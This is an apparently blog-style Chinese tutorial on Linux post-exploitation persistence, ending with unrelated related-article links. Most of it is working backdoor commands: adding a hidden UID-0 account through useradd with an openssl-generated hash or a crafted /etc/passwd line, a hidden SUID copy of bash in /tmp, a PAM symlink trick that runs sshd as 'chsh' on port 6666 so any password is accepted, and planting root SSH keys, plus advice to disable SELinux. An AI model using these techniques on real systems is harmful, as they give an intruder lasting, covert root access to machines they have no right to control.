linux权限维持

方法一.特权账号

原理就是在系统添加一个root账号

Linux的账号信息在/etc/passwd文件里面并且所有人可访问,但是密码在/etc/shadow文件里面只有root可访问。

/etc/passwd 字段格式

格式:用户名:密码占位符x:UID:GID:注释信息:家目录:登录Shell

UID(User ID,用户 ID)

作用:Linux 内核识别用户的数字编号,用户名只是给人看的,系统真正认 UID。

root 的 UID=0:唯一超级用户,拥有系统全部权限。

1‑999:系统内置账号(daemon、bin 等),给后台服务使用,一般不允许登录。

≥1000:普通新建用户。

GID(Group ID,组 ID)

作用:用户所属主用户组的数字 ID。

创建用户时默认会生成一个同名组,GID 对应这个组。

多个用户可以属于同一个组,用来控制文件 / 目录的组权限(rwx 组权限位)。

格式:用户名:加密密码:最后一次改密码日期:最小间隔:最大间隔:警告天数:过期宽限:失效日期:保留

注:加密密码字段

!:账号被锁定,禁止密码登录

*:系统账号,无有效密码,禁止登录

6xxxx:SHA‑512 加密的真实密码哈希

最后改密码的天数:从 1970‑01‑01 算起的天数

我们添加用户直接用useradd命令

正常添加用户 useradd 用户名 就行

但是添加后的用户没有密码需要passwd命令手动设置,但是shell一般无法做交互式的事情所以不能成功执行passwd,所以无法ssh,这时候就要用到-p参数。-p参数后面要加加密后的密码

加密后的密码用openssl命令生成

注:`里面的字符会被当做命令执行

bash 复制代码
openssl passwd -1 -salt 'salt' 123456

-1:使用 MD5‑crypt 算法加密(shadow 里旧版1哈希)

-salt 'salt':手动指定盐值为字符串salt,123456是待加密明文密码

盐 (salt) 核心作用

防止彩虹表破解

如果没有盐,相同密码123456永远输出同一个哈希,攻击者提前算好彩虹表直接查表爆破。

加盐之后,同样密码,不同盐,得到完全不一样的哈希

盐会写入加密的密码前面

接下来我们就可以以这个命令生成一个特权用户,但是要在root权限生成。

bash 复制代码
# 创建一个用户名guest,密码123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test

或者另一种方法直接把构造好的这个东西直接追加到passwd文件中,这样就不用管shadow文件了

test:1test$XazGnbtBRMhBkmTPV1qav/:0:0::/root:/bin/bash

二.SUID权限维持

SUID 介绍

SUID 是一种特殊权限,设置了 suid 的程序文件,在用户执行该程序时,用户的权限是该程序文件属主的权限,例如程序文件的属主是 root,那么执行该程序的用户就将暂时获得 root 账户的权限。sgid 与 suid 类似,只是执行程序时获得的是文件属组的权限。

注意以下几点:

1.只有可以执行的二进制程序文件才能设定 SUID 权限,非二进制文件设置 SUID 权限没任何意义。

2.命令执行者要对该程序文件拥有执行 (x) 权限。

3.命令执行者在执行该程序时获得该程序文件属主的身份。

4.SUID 权限只在该程序执行过程中有效,也就是说身份改变只在程序执行过程中有效。

第一步首先要找到bash文件

bash 复制代码
 whereis bash

找到bash文件后复制一份出来

bash 复制代码
cp /usr/bin/bash /tmp/.bash

然后给加上s权限

bash 复制代码
chmod +s /tmp/.bash 
或
chmod 4755 /tmp/.bash 

接下来就可以使用这个bash以root身份运行

bash 复制代码
/tmp/.bash -p

注意:有的系统默认tmp是会忽略所有带s的参数以防suid攻击,可以把后门放在其他目录例如home

可以使用mount命令查看

例如里面tmp目录就有nosuid,所有不能再这个目录使用这个维持方法

三.pam软链接维权

注意:

1.可复现万能密码(PAM 劫持生效):OpenSSH ≤9.3p1

2.而且如果时centos系统需要修改/etc/selinux/config文件中的SELINUX="" 为 disabled

3.如果依旧失败,记得查看防火墙是不是开了

bash 复制代码
ssh  -V

软链接:

一种特殊文件,相当于快捷方式,里面保存另一个文件的路径。访问软链接就等价访问源文件;执行软链接时,系统拿到的启动文件名是链接自身名字,而非源程序。源文件删除后软链接失效。

PAM:

Linux 的统一认证框架,负责登录、权限校验。

程序运行时,根据调用的程序文件名加载 /etc/pam.d/ 下同名配置文件,调用各类认证模块。

pam_rootok.so是其中模块:进程为 root 用户时直接认证通过,跳过密码验证。

1.我们通过建立一个ssh的后门

首先需要看一下ssh是否使用pam模块验证(默认支持)

bash 复制代码
ls /etc/pam.d

然后看一下ssh是否启用了pam

bash 复制代码
cat /etc/ssh/sshd_config | grep "UsePAM "

2.看一下哪些模块支持pam_rootok.so

bash 复制代码
find /etc/pam.d | xargs grep "pam_rootok.so" 

#xargs命令是把管道前面的每行结果当参数给xargs后面的命令

3.例如上面的chsh支持pam_rootok.so模块

bash 复制代码
ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oPort=6666

注意:这里解释一下,ln -sf /usr/sbin/sshd /tmp/chsh这行命令就是创建一个叫chsh的快捷方式而不是把chsh复制过去。

因为pam在运行时会依据文件名来选择同名配置文件。使用叫chsh的文件名pam就会调用他的配置文件,而chsh的配置文件支持pam_rootok.so模块。

即只要以root身份去ssh那么建立进程的用户就是root,而pam_rootok.so模块检测到root就直接验证成功不需要再验证密码了,所以会直接成功登录。

4.此时后门就建立了

bash 复制代码
ssh root@192.168.85.135 -p 6666

密码验证时,无论输入什么都成功(不能直接回车,必须随便输入点什么)

四.利用公私钥实现ssh维权

1.步骤1:在本地生成SSH密钥对

在主机A上,打开终端,输入以下命令:

bash 复制代码
ssh-keygen -t rsa

在提示输入密钥密码时直接回车

2.修改ssh配置文件

bash 复制代码
vim /etc/ssh/sshd_config

这三个权限一定要打开,很多设置默认是注释掉的,需要去掉注释打开权限

PubkeyAuthentication yes // 授权公钥登录

AuthorizedKeysFile .ssh/authorized_keys // 授权文件路径

PasswordAuthentication yes // 密码授权

PermitRootLogin yes /允许root进行ssh登录

3.把公钥放到被控主机

执行命令放入

bash 复制代码
ssh-copy-id username@server_ip

或者进入/root/.ssh手动放入公钥

放入后必须改名为authorized_keys

4.放入后就可以ssh了

**

**

相关推荐
小张同学a.1 小时前
ELK企业级日志分析平台3——ES数据备份 & 集群监控 & ELFK+Kafka 架构部署
linux·运维·elk·elasticsearch·架构·kafka·filebeat
JenKinJia1 小时前
Pycharm中增加远程服务器解释器无法连接的问题
服务器·pycharm·github
神龙斗士2401 小时前
Socket编程:客户端与服务器通信全解析(网络编程)
运维·服务器·网络·socket
小则又沐风a1 小时前
负载均衡式在线OJ---------第二幕
linux·c++·后端
中才实用1 小时前
Jenkins自动化部署
运维·自动化·jenkins
snow@li1 小时前
Kibana:功能全景梳理/Elastic Stack可视化管理平台
运维
AC赳赳老秦1 小时前
官方技术文档聚合实践:用 OpenClaw 批量抓取开源项目文档,构建离线可检索技术知识库
java·运维·服务器·python·信息可视化·deepseek·openclaw
fengkai45451 小时前
Linux服务--5.Nginx 服务
linux·运维·服务器
牛肉胡辣汤1 小时前
开源模型落地实战|开发、运维、安全各岗位 AI 应用经验分享
运维·安全·开源